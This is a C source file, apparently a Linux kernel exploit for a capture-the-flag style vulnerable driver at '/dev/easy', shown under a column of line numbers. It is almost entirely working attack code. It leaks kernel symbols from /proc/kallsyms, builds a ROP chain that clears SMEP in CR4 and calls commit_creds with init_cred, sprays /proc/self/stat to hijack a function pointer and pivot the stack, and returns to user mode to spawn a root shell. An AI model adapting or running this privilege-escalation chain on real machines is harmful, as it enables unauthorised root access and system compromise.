1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167
| #include <sys/types.h> #include <stdio.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <poll.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h>
#define POP_RDI_RET 0x048955 #define POP_RAX_RET 0xda64 #define MOV_CR4_RDI_POP_RBP_RET 0x01b9e0 #define MOV_RSP_RAX_DEC_EBX_RET 0x8acb8e #define ADD_RSP_1a0 0x5d0263
#define MOV_RSP_R9_POP4_RET 0x39adc4 #define SWAPGS_POP_RBP_RET 0x065354 #define IRETQ_RET 0x18453f
size_t commit_creds = NULL, prepare_kernel_cred = NULL;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n"); }
void getRootPrivilige(void) { void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred; int (*commit_creds_ptr)(void *) = commit_creds; (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL)); }
void getRootShell(void) { system("/bin/sh"); exit(0); } size_t base; int main(void) { signal(SIGSEGV, getRootShell); printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n"); saveStatus();
FILE* sym_table_fd = fopen("/proc/kallsyms", "r"); if(sym_table_fd < 0) { printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n"); exit(-1); } char buf[0x50], type[0x10]; size_t addr; while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf)) { if(prepare_kernel_cred && commit_creds) break;
if(!commit_creds && !strcmp(buf, "commit_creds")) { commit_creds = addr; base=commit_creds-0xac050; printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds); printf("\033[32m\033[1m[+] Successful to get the addr of kernel_base:\033[0m%llx\n", base); continue; }
if(!strcmp(buf, "prepare_kernel_cred")) { prepare_kernel_cred = addr; printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred); continue; } }
size_t pop_rdx=base+0x1cb8a2; size_t mov_rdi_rax_call_rdx=base+0xfea72b; size_t rop[0x20], p = 0; size_t init_cred=base+0xe5a140; rop[p++] = base+POP_RDI_RET; rop[p++] = 0x6f0; rop[p++] = base+MOV_CR4_RDI_POP_RBP_RET; rop[p++] = 0;
rop[p++] = base+POP_RDI_RET; rop[p++] = init_cred; rop[p++] = commit_creds; rop[p++] = base+SWAPGS_POP_RBP_RET; rop[p++] = 0; rop[p++] = base+IRETQ_RET; rop[p++] = getRootShell; rop[p++] = user_cs; rop[p++] = user_rflags; rop[p++] = user_sp; rop[p++] = user_ss;
int fd1 = open("/dev/easy", 2); int fd2 = open("/dev/easy", 2);
ioctl(fd1, 0x0, 0x20); ioctl(fd1, 0x1, 0x20);
size_t fake_stat[4]; size_t stat_fd[0x200]; for (int i=0;i<0x200;i++){ stat_fd[i]=open("proc/self/stat",0); } read(fd2,fake_stat,0x20); fake_stat[0]=base+ADD_RSP_1a0; write(fd2,fake_stat,0x20); size_t pop_rdi=base+POP_RDI_RET;
size_t pop_rax_pop_rsp_pop3_ret=base+0x194570; size_t cur_rbp; asm( "mov %0,rbp" :"=r"(cur_rbp) : : ); memcpy(cur_rbp,rop,sizeof(rop)); for (int i=0;i<0x200;i++){ __asm__( "mov rax,%0\n" "mov rbx,%0\n" "mov rcx,%0\n" "mov rdx,%0\n" "mov rdi,%0\n" "mov rsi,%0\n" "mov rdx,%0\n" "mov r8,%0\n" "mov r9,%0\n" "mov r10,%0\n" "mov r11,%0\n" "mov r12,%0\n" "mov r13,%0\n" "mov r14,%0\n" "mov r15,%0\n" : :"r" (pop_rax_pop_rsp_pop3_ret) :"r12" ); read(stat_fd[i],fake_stat,0x20); } return 0; }
|